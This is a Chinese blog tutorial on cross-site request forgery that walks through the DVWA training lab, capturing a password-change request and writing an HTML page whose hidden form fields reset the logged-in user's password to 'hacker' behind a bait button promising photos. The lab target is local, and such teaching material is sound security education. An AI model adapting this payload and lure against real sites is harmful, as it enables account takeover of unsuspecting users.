CSRF跨站请求伪造教程

1. 什么是CSRF

CSRF的英文全称为Cross-site request forgery,即为跨站请求伪造。攻击通过在授权用户访问的页面中包含链接或者脚本的方式工作。例如,某一天,你在QQ中接收到一条链接,链接的标题很诱人,所以你点击并浏览了该链接的内容,过一会,你收到一条银行发给你的短信,这时你的钱已经被转走。这个示例就是一个典型的CSRF漏洞造成的。

对于受害者,当前已经登录了Web应用程序,并执行非本意进行相应的操作;

对于攻击者,对浏览器进行欺骗,让其以受害者的名义执行自己事前设计好的操作内容。

本次案例使用工具:

(1)火狐浏览器;

(2)火狐抓包插件:Tamper Data;

(3)HTML任一编辑工具。

2. CSRF实战

在DVWA操作之前,我们需要将安全级别设计为Low,操作方法如下图所示:

接下来选择CSRF操作项界面。

这里是用来修改当前帐户密码的地方,接下来我们使用火狐抓包插件Tamper Data,来对修改密码进行一个抓包操作。

我们点击浏览器上的插件图标。

此时需要我们进行确认操作。

我们输入修改的密码信息,并进行提交操作(我输入的密码是123456789),在弹出的界面中,选择“OK”来确认。

我们就可以看到发送的头部信息,以及URL信息。

在URL中,可以看到我们所提交的数据,通过数据我们可以分析出有用的数据信息。

# 提交数据
http://localhost/dvwa/vulnerabilities/csrf/?password_new=123456789&password_conf=123456789&Change=Change#

password_new:为提交时重置的密码控件名称;

password_conf:为提交时二次确认密码的控件名称;

Change:还有一个控件叫Change。

通过如上信息,我们就可以自己编写一个网页,来模拟这个操作了。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>CSRF测试</title>
</head>

<body>
  <form action="http://localhost/dvwa/vulnerabilities/csrf/">
    	<input type="hidden" name="password_new" value="hacker"/>
        <input type="hidden" name="password_conf" value="hacker"/>
        <input type="hidden" name="Change" value="Change"/>
        <input type="submit" value="美女照片点击查看"/>
    </form>
</body>
</html>

 

在代码中,我们可以看到,我们修改的密码为“hacker”,这是我们要修改的登录密码了。

接下来我们要保存这个文件,并复制到我们网站发布路径对应的位置。

打开浏览器输入csrf.html所在的站点的位置。

当我们点击“美女照片点击查看”按钮时,将会自动跳转到密码修改而面,同时提示密码已经修改成功。

此时我们使用“hacker”作为密码进行登录时,就可以正常登录系统了。

 

转载请附上原文出处链接及本声明
李老师的博客 » CSRF跨站请求伪造教程

发表评论

提供最优质的文章集合

立即查看 了解详情